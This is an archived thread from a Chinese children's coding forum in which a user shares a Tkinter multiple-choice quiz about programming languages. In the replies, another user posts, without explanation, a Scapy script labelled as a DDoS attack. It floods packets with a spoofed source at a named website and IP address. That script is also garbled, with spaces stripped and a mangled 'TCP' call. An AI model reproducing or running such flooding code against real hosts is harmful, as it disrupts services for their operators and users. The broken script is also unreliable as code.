猫史档案馆


【Python作品分享】Tkinter 答题系统【作品秀】

用户:PlumStevenPlumSteven查看:8 回复:3 评论:8 创建时间:2021-09-12T13:12:17


【作品展示】

center_image

 

【作品介绍】

用Tkinter做了一个小小的答题系统,有问题请在评论中说哦~

 

【作品源代码】

import easygui
import tkinter as tk
import easygui as eg
import random


def start():

    global question_ls, a_choose, b_choose, c_choose, d_choose, answer
    question_ls = ['Python是一个面向什么的编程语言?', '说法正确的一项是:', 'Python的优点是', '下列不属于Python编译器的是:', 'C++以前被叫作什么', 'C++是面向什么的编程语言', '下列不属于高级语言的是:', 'PHP的语句要以分号结尾吗?']
    a_choose = ['过程', 'Python代码格式要求严格', '代码格式要求没有那么严格', '海龟编辑器', 'C+', '对象', 'Assembly', '不要']
    b_choose = ['并发', 'Python不擅长AI方面', '运行速度快', 'Eclipse', 'C with classes', '过程', 'C#', '都可以']
    c_choose = ['对象', 'Python是一个面向对象的编程语言', 'Python容易加密', 'PyCharm', 'C+-', '并发', 'VB', '要']
    d_choose = ['不知道', '以上都对', '以上都是它的优点', 'Pyjs', 'C+++', '过程', 'C++', '不知道']
    answer = ['C', 'C', 'A', 'B', 'B', 'A', 'A', 'C']

window = tk.Tk()

def ask():

    global score
    score = 0
    for j in range(0, 7):
        global i
        i = random.randint(0, len(question_ls) - 1)
        question = tk.Label(window, text=question_ls[i])
        A = tk.Button(window, text='A、' + a_choose[i], command=judgea)
        B = tk.Button(window, text='B、' + b_choose[i], command=judgeb)
        C = tk.Button(window, text='C、' + c_choose[i], command=judgec)
        D = tk.Button(window, text='D、' + d_choose[i], command=judged)
        question.pack()
        A.pack()
        B.pack()
        C.pack()
        D.pack()
        window.mainloop()
        question_ls.pop(i)
        a_choose.pop(i)
        b_choose.pop(i)
        c_choose.pop(i)
        d_choose.pop(i)
        answer.pop(i)
    eg.msgbox('答题结束,总共获得'+str(score)+'/6分', '结束', 'OK')
    window.destroy()

def judgea():

    global score
    right = answer[i]
    if ('A' == right):
        easygui.msgbox('答对了', '提示', 'OK')
        score += 1
    else:
        easygui.msgbox('答错了', '提示', 'OK')
    window.quit()

def judgeb():
    global score
    right = answer[i]
    if ('B' == right):
        easygui.msgbox('答对了', '提示', 'OK')
        score += 1
    else:
        easygui.msgbox('答错了', '提示', 'OK')
    window.quit()


def judgec():
    global score
    right = answer[i]
    if ('C' == right):
        easygui.msgbox('答对了', '提示', 'OK')
        score += 1
    else:
        easygui.msgbox('答错了', '提示', 'OK')
    window.quit()


def judged():
    global score
    right = answer[i]
    if ('D' == right):
        easygui.msgbox('答对了', '提示', 'OK')
        score += 1
    else:
        easygui.msgbox('答错了', '提示', 'OK')
    window.quit()


start()
ask()

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 1下一页
xAkidxxAkidx

就是想请问一下,你的电脑屏幕应该很大吧

点赞0


评论


xAkidxxAkidx

#-*-coding:'utf-8'-*- importtime importstruct fromthreadingimport* importsocket fromscapy.allimport* start=time.time() screenlock=Semaphore(value=1000) print('[^]HAQDDOsstart!') defDDos(): try: print('[*]SecondlayersofDDos') s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击 print(s[0].show()) except: print('[-]Thecauseofthemistake{}'.format(e)) try: print('[*]ThirdlayerDDos') p=srloop(IP(dst="www.dgjy.net",ttl=160)/UDP())#第三层攻击 print(p[0].show()) except: print('[-]Thecauseofthemistake{}'.format(s)) try: print('[*]Repeatedattacks') see=srp(IP(dst="113.108.127.169")/T喵(dport=[80,443]))#重复攻击 print(see[0].show()) except: print('[-]Thecauseofthemistake{}'.format(f)) try: data=struct.pack('=BHI',0x96,20,1000) pkt=IP(src='192.168.225.141',dst='113.108.127.169')/\ UDP(sport=12345,dport=[80,443])/data print('[*]DDoSattacksarebeingcarriedout!') screenlock.acquire() send(pkt,inter=1,count=160) except: print("[-]Thecauseofthemistake{}".format(g)) try: print('[*]DDos') gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP()) except: print('[-]causeofthemistake{}'.format(i)) t=Thread(target=DDos,args=()) t.start() end=time.time() print('[!]Timeconsumingofthisprogram,Thefirsttimeistheinitializationtime:',end-start)

点赞0


评论


Albert钟Albert钟

啊这。。。也。。。。就。。。。。。

点赞1


评论